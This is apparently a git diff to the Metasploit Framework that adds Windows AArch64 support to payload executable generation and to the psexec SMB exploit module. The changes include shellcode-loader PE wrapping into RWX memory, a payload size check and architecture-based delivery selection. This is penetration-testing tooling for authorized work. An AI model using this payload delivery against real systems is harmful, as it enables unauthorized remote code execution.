diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 17e5e65617594..f5adaa28f700e 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -98,7 +98,9 @@ def generate_payload_exe_service(opts = {}) #Ensure opts[:arch] is an array opts[:arch] = [opts[:arch]] unless opts[:arch].kind_of? Array - if opts[:arch] && opts[:arch].index(ARCH_X64) + if opts[:arch] && opts[:arch].index(ARCH_AARCH64) + exe = Msf::Util::EXE.to_winaarch64pe(framework, pl, opts) + elsif opts[:arch] && opts[:arch].index(ARCH_X64) exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) else exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 1e3f2ce930383..269a793cfdd71 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -144,6 +144,11 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts) to_win32pe_service(framework, code, exeopts) when ARCH_X64 to_win64pe_service(framework, code, exeopts) + when ARCH_AARCH64 + # No dedicated AArch64 service template exists yet; the loader + # template still runs when dropped as a "service" binary (the SCM + # start request just times out, as with any non-service exe). + to_winaarch64pe(framework, code, exeopts) end when 'exe-small' case arch @@ -151,6 +156,8 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts) to_win32pe_old(framework, code, exeopts) when ARCH_X64 to_win64pe(framework, code, exeopts) + when ARCH_AARCH64 + to_winaarch64pe(framework, code, exeopts) end when 'exe-only' case arch @@ -165,6 +172,8 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts) exe = to_win32pe(framework, code, exeopts) when ARCH_X64 exe = to_win64pe(framework, code, exeopts) + when ARCH_AARCH64 + exe = to_winaarch64pe(framework, code, exeopts) end exeopts[:uac] = true Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) @@ -174,6 +183,8 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts) exe = to_win32pe(framework, code, exeopts) when ARCH_X64 exe = to_win64pe(framework, code, exeopts) + when ARCH_AARCH64 + exe = to_winaarch64pe(framework, code, exeopts) end Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) when 'elf' diff --git a/lib/msf/util/exe/windows/aarch64.rb b/lib/msf/util/exe/windows/aarch64.rb index 297222df890bc..c7240408bab96 100644 --- a/lib/msf/util/exe/windows/aarch64.rb +++ b/lib/msf/util/exe/windows/aarch64.rb @@ -8,7 +8,20 @@ def self.included(base) end module ClassMethods + # The size, in bytes, of the fixed `payload[]` buffer declared in + # data/templates/src/pe/exe/template_aarch64_windows.c (SCSIZE). Shellcode + # longer than this would overwrite adjacent bytes in the compiled template. + WINAARCH64_PAYLOAD_SPACE = 8192 + # Construct a Windows AArch64 PE executable with the given shellcode. + # + # Unlike the x86/x64 templates, there is currently no dedicated "service" + # or "dll" AArch64 template, so this loader-style template (which copies + # the payload into RWX memory and runs it in a new thread) is reused + # wherever an AArch64 PE is requested, including when a caller asked for + # an exe-service. That is safe for psexec-style delivery: Windows still + # spawns the process when the SCM start request times out because the + # binary doesn't speak the service control protocol. # to_winaarch64pe # # @param framework [Msf::Framework] The Metasploit framework instance. @@ -26,6 +39,12 @@ def to_winaarch64pe(framework, code, opts = {}) # Find the tag and inject the payload bo = find_payload_tag(pe, 'Invalid Windows AArch64 template: missing "PAYLOAD:" tag') + + if code.length > WINAARCH64_PAYLOAD_SPACE + raise RuntimeError, "The Windows AArch64 EXE generator has a max size of " \ + "#{WINAARCH64_PAYLOAD_SPACE} bytes, please fix the calling module" + end + pe[bo, code.length] = code.dup pe end diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index fa1f5aeff76d0..20a810452ded4 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -66,13 +66,16 @@ def initialize(info = {}) }, 'Platform' => 'win', 'Targets' => [ - [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ], + # PowerShell isn't offered for AArch64: the PowerShell shellcode-injection + # wrapper (rex-powershell) only knows how to spawn x86/x64 powershell.exe, + # so it can't be used to run AArch64 shellcode. + [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64] } ], [ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ], [ 'Native upload', { # upload a service executable - 'Arch' => [ARCH_X86, ARCH_X64], + 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64], 'Payload' => { 'Space' => 2 ** 30 } # service executables place the payload within a segment, 1GiB is a practical max in many cases } ], - [ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ], + [ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64] } ], [ 'Command', { 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 8191 } } ] ], 'DefaultTarget' => 0, @@ -145,7 +148,12 @@ def exploit case target.name when 'Automatic' - if powershell_installed?(smbshare, datastore['PSH_PATH']) + # The PowerShell delivery path can only launch x86/x64 powershell.exe, so + # an AArch64 payload has to go straight to the native upload technique. + if payload_instance.arch.include?(ARCH_AARCH64) + print_status('Selecting native target') + native_upload_with_workaround(smbshare) + elsif powershell_installed?(smbshare, datastore['PSH_PATH']) print_status('Selecting PowerShell target') execute_powershell_payload else